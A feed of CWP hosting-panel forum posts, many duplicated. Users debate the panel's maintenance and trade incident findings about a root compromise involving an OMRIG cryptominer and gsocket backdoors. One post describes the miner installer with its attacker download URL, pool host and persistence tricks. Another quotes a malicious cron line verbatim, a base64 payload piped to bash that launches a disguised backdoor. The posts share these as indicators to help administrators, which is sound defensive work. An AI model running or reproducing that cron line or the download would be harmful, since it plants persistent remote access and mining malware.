Recent Posts
31
Information / Re: To the CWP team and all its users (We are tired of getting hacked every day.)
« Last post by Starburst on October 09, 2026, 01:40:04 PM »Those 'security issues' or CVE's where fixed last year, well before even CWP 1.x, and are getting old having to repost that same info over, and over, and over again...
Same as that BS about CWP being 'obsolete' and/or 'a dead project'.
CWP just released 1.18 on 2026-10-07, so if a 2 day old update is 'obsolete' or a a 'dead project', maybe goto cPanel...
If you have CWP Properly configured ON AL8 or AL9 with ModSecurity Properly configured and running, and CSF Properly configured and running there are no problems.
Which is easy, IF you are a trained system administrator.
Problem are with the EOL CentOS 7 OS, which is outside CWP's control.
CVE's can be found at:
https://sysadmin.help/viewforum.php?f=42
or goto:
https://www.cve.org/
Info is easy to find on alphagnu.com and starburst.help
FYI AlmaLinux 9 just release allot of system updates today, including for BIND, OpenSSL, ImageMagick.
AL9 released OpenSSH on 2026-10-04 to fix CVE's.
Not to mention all of the Kernel updates Linux has been pumping out for CVE's.
Same as that BS about CWP being 'obsolete' and/or 'a dead project'.
CWP just released 1.18 on 2026-10-07, so if a 2 day old update is 'obsolete' or a a 'dead project', maybe goto cPanel...
If you have CWP Properly configured ON AL8 or AL9 with ModSecurity Properly configured and running, and CSF Properly configured and running there are no problems.
Which is easy, IF you are a trained system administrator.
Problem are with the EOL CentOS 7 OS, which is outside CWP's control.
CVE's can be found at:
https://sysadmin.help/viewforum.php?f=42
or goto:
https://www.cve.org/
Info is easy to find on alphagnu.com and starburst.help
FYI AlmaLinux 9 just release allot of system updates today, including for BIND, OpenSSL, ImageMagick.
AL9 released OpenSSH on 2026-10-04 to fix CVE's.
Not to mention all of the Kernel updates Linux has been pumping out for CVE's.
32
Information / Re: To the CWP team and all its users (We are tired of getting hacked every day.)
« Last post by overseer on October 09, 2026, 01:38:45 PM »At it's core, I agree with you sentiment about the basic software stack. But it sounds as if you would be happier with another panel, so probably best if you switched. CWP seems to be geared more toward the DIY system admin and is a budget-conscious panel. For me it is the perfect mix of features and cost. I for one can't afford a panel that costs 10x more annually -- my servers would not be a going concern at that point. Now that I am intimately familiar with CWP after 5 years of use, I can manage CWP servers with the resources available (the wiki, this forum, AWS Monster, AlphaGNU).
33
CentOS-WebPanel Bugs / Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
« Last post by Wonder on October 09, 2026, 11:48:08 AM »Thank you again, overseer! I really appreciate the time and effort you've put into investigating this and sharing your findings with the community.
I agree with you — it certainly looks like we may have been dealing with multiple infections, possibly from different attackers. The similarities between the scripts are interesting, but as you said, there's probably quite a bit of code sharing going on.
I'm glad you managed to get your server back under control. What a nightmare! And yes, losing an entire week dealing with this is probably the most frustrating part of it all. 😅
I've always appreciated how generous you are with your time and knowledge, both in helping me personally and in supporting the CWP community.
Hopefully, sharing our findings will help other administrators recognize these infections earlier and avoid going through the same experience.
Thanks again, and all the best!
I agree with you — it certainly looks like we may have been dealing with multiple infections, possibly from different attackers. The similarities between the scripts are interesting, but as you said, there's probably quite a bit of code sharing going on.
I'm glad you managed to get your server back under control. What a nightmare! And yes, losing an entire week dealing with this is probably the most frustrating part of it all. 😅
I've always appreciated how generous you are with your time and knowledge, both in helping me personally and in supporting the CWP community.
Hopefully, sharing our findings will help other administrators recognize these infections earlier and avoid going through the same experience.
Thanks again, and all the best!
34
Information / Re: To the CWP team and all its users (We are tired of getting hacked every day.)
« Last post by ghoste on October 09, 2026, 06:26:11 AM »Hi everyone, what’s going on here? This topic seems to have been kept under wraps by the "admins" and the CWP team—who I’m convinced are monitoring the forum but staying silent! Since version 1.12, there hasn't been any news regarding changes made in current versions.
Just security issues—problems that were reported as far back as last year.
What do you expect when CWP Panel relies on such outdated stacks? (PHP 5.6, Roundcube 1.5, Nginx, Apache, MariaDB 10.5, and so on)—these are the services the panel installs by default on AlmaLinux 8, the distribution recommended on the official site.
We know nothing about the CWP team; what work is actually being done on this panel? How can we continue to support it without receiving clear information about what's happening behind the scenes?
Since nothing is being announced, I’m starting to think CWP is obsolete—a dead project. I work with other panels too—DirectAdmin, HestiaCP, Pannelica, and KeyHelp—and when you install any of them, they come with PHP 8.5 and the latest versions of all services (helping us avoid CVEs, or allowing for quick updates when a new one drops).
With CWP, if I want to upgrade Roundcube, MariaDB, Nginx, or Apache, I run into a heap of errors. Am I supposed to hunt down forum scripts created by Sandeep B, overseer, or Starburst? Where is the CWP team?
Just security issues—problems that were reported as far back as last year.
What do you expect when CWP Panel relies on such outdated stacks? (PHP 5.6, Roundcube 1.5, Nginx, Apache, MariaDB 10.5, and so on)—these are the services the panel installs by default on AlmaLinux 8, the distribution recommended on the official site.
We know nothing about the CWP team; what work is actually being done on this panel? How can we continue to support it without receiving clear information about what's happening behind the scenes?
Since nothing is being announced, I’m starting to think CWP is obsolete—a dead project. I work with other panels too—DirectAdmin, HestiaCP, Pannelica, and KeyHelp—and when you install any of them, they come with PHP 8.5 and the latest versions of all services (helping us avoid CVEs, or allowing for quick updates when a new one drops).
With CWP, if I want to upgrade Roundcube, MariaDB, Nginx, or Apache, I run into a heap of errors. Am I supposed to hunt down forum scripts created by Sandeep B, overseer, or Starburst? Where is the CWP team?
35
CentOS-WebPanel Bugs / Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
« Last post by overseer on October 09, 2026, 02:29:55 AM »I'm so glad you were able to capture the omri.sh -- I was very curious to dissect it and check to make sure my server didn't also have a miner on it. In looking at the code, there are some similarities with the installers I saw on my server, but I don't see a direct lineage there. I'm sure there's a lot of code borrowing in that circle!
In my case, it felt as if there were rival installs happening and at least 2-3 different infections (2 gsocket, WordPress site hacks). It felt as if the initial entry was more of a fumbling script kiddie, but at some point things got really REAL and I was going up against a much more skilled hacker in their hacking club, affecting the firewall, kernel, more.
My only consolation is that this all appears to be for silly "1337" street cred for hacker buddies -- the only meaningful harm was to promote a Malaysian gambling site for a short moment and 50¢ in digital currency. At least it wasn't pure maliciousness or greed attempting extortion or (worst case) disk encryption. But it did waste a week of my life!
In my case, it felt as if there were rival installs happening and at least 2-3 different infections (2 gsocket, WordPress site hacks). It felt as if the initial entry was more of a fumbling script kiddie, but at some point things got really REAL and I was going up against a much more skilled hacker in their hacking club, affecting the firewall, kernel, more.
My only consolation is that this all appears to be for silly "1337" street cred for hacker buddies -- the only meaningful harm was to promote a Malaysian gambling site for a short moment and 50¢ in digital currency. At least it wasn't pure maliciousness or greed attempting extortion or (worst case) disk encryption. But it did waste a week of my life!
36
Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Last post by overseer on October 09, 2026, 01:15:02 AM »You have it under control? If you need any help, PM me.
37
Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Last post by adrianofnatal on October 09, 2026, 12:07:06 AM »Found 2 files that cron uses for something.
/usr/bin/defunct.dat
/usr/bin/defunct
/usr/bin/dbus-monitor-srv
check your files
/usr/bin/defunct.dat
/usr/bin/defunct
/usr/bin/dbus-monitor-srv
check your files
38
CentOS-WebPanel Bugs / Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
« Last post by Wonder on October 08, 2026, 07:25:14 PM »**Update: Original OMRIG installer recovered and further analysis**
I have some additional findings to share.
We were finally able to recover the original malicious `omrig.sh` installer from:
`http://146.103.45.130/omrig.sh`
Initially, we could not retrieve it from either of our affected servers. I then remembered that we had blocked the attacker's IP addresses for both inbound and outbound traffic as part of our containment measures.
Using a separate test server, we successfully downloaded the script without executing it. The recovered file contains 1,183 lines and matches the installer we examined during our initial investigation.
The SHA256 of the recovered script is:
`ee5bb2094d51fc9deb38e377afa8273ac3115259f94415932c57d01021187dc7`
After reviewing the installer, we identified the following behavior:
- **Miner download:** Retrieves an additional executable from `http://146.103.45.130/omrig`.
- **Mining configuration:** Generates a `config.json` using the `rx/0` algorithm and connects to `146.103.45.130:3333`.
- **Randomized executable names:** Selects between `polkitd-helpers`, `dbus-monitor-srv`, and `systemd-logind-helpers`. These are the exact three names we encountered during our investigation.
- **Systemd persistence:** Creates a service disguised as a D-Bus component, enables automatic startup, and configures automatic restarts.
- **Alternative persistence:** Includes fallback mechanisms involving cron, `rc.local`, and shell startup files.
- **Process masquerading:** Can disguise processes using kernel-thread-like names.
- **Timestamp manipulation:** Uses `touch` to alter file timestamps, potentially making newly created malicious files appear older.
- **Command obfuscation:** Includes Base64/hexadecimal encoding mechanisms.
The randomized executable names are particularly significant because they directly match the malicious components we previously identified and preserved.
However, this installer does not, by itself, establish a direct relationship with the GSocket/Kyy-Shell persistence mechanism described in your post-mortem.
We have also performed additional checks on both affected servers, looking for the known malicious service names, suspicious cron entries, references in `rc.local` and root's shell startup files, and processes running from deleted or `memfd` executables.
**None of these checks revealed the known malicious indicators or active persistence mechanisms.**
We also examined `systemd-hwdb-update.service`, since this name appears in your list of possible malicious service names. On both affected servers, its unit definition corresponds to the legitimate systemd hardware database update service. We compared it with the same service on our separate AlmaLinux 9 test server.
Of course, we recognize that the absence of these indicators does not guarantee the integrity of a system previously compromised with root privileges.
The original installer is now preserved offline for further analysis.
Thanks again for sharing your findings. Having the original OMRIG installer available should help us distinguish the mining infection from the subsequent GSocket persistence and determine whether there is any actual connection between them.
I have some additional findings to share.
We were finally able to recover the original malicious `omrig.sh` installer from:
`http://146.103.45.130/omrig.sh`
Initially, we could not retrieve it from either of our affected servers. I then remembered that we had blocked the attacker's IP addresses for both inbound and outbound traffic as part of our containment measures.
Using a separate test server, we successfully downloaded the script without executing it. The recovered file contains 1,183 lines and matches the installer we examined during our initial investigation.
The SHA256 of the recovered script is:
`ee5bb2094d51fc9deb38e377afa8273ac3115259f94415932c57d01021187dc7`
After reviewing the installer, we identified the following behavior:
- **Miner download:** Retrieves an additional executable from `http://146.103.45.130/omrig`.
- **Mining configuration:** Generates a `config.json` using the `rx/0` algorithm and connects to `146.103.45.130:3333`.
- **Randomized executable names:** Selects between `polkitd-helpers`, `dbus-monitor-srv`, and `systemd-logind-helpers`. These are the exact three names we encountered during our investigation.
- **Systemd persistence:** Creates a service disguised as a D-Bus component, enables automatic startup, and configures automatic restarts.
- **Alternative persistence:** Includes fallback mechanisms involving cron, `rc.local`, and shell startup files.
- **Process masquerading:** Can disguise processes using kernel-thread-like names.
- **Timestamp manipulation:** Uses `touch` to alter file timestamps, potentially making newly created malicious files appear older.
- **Command obfuscation:** Includes Base64/hexadecimal encoding mechanisms.
The randomized executable names are particularly significant because they directly match the malicious components we previously identified and preserved.
However, this installer does not, by itself, establish a direct relationship with the GSocket/Kyy-Shell persistence mechanism described in your post-mortem.
We have also performed additional checks on both affected servers, looking for the known malicious service names, suspicious cron entries, references in `rc.local` and root's shell startup files, and processes running from deleted or `memfd` executables.
**None of these checks revealed the known malicious indicators or active persistence mechanisms.**
We also examined `systemd-hwdb-update.service`, since this name appears in your list of possible malicious service names. On both affected servers, its unit definition corresponds to the legitimate systemd hardware database update service. We compared it with the same service on our separate AlmaLinux 9 test server.
Of course, we recognize that the absence of these indicators does not guarantee the integrity of a system previously compromised with root privileges.
The original installer is now preserved offline for further analysis.
Thanks again for sharing your findings. Having the original OMRIG installer available should help us distinguish the mining infection from the subsequent GSocket persistence and determine whether there is any actual connection between them.
39
Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Last post by overseer on October 08, 2026, 06:19:03 PM »Cron wasn't altered in my recent server post-mortem. (Seemingly) everything else was... 
40
Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Last post by adrianofnatal on October 08, 2026, 05:29:45 PM »Hi!
Check your crons for this:
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUwIGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL3Vzci9iaW4vZGVmdW5jdC5kYXQgLWxpcUQiIC91c3IvYmluL2Jhc2ggLWMgImV4ZWMgLWEgJ1ttbV9wZXJjcHVfd3FdJyAnL3Vzci9iaW4vZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
Check your crons for this:
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUwIGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL3Vzci9iaW4vZGVmdW5jdC5kYXQgLWxpcUQiIC91c3IvYmluL2Jhc2ggLWMgImV4ZWMgLWEgJ1ttbV9wZXJjcHVfd3FdJyAnL3Vzci9iaW4vZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
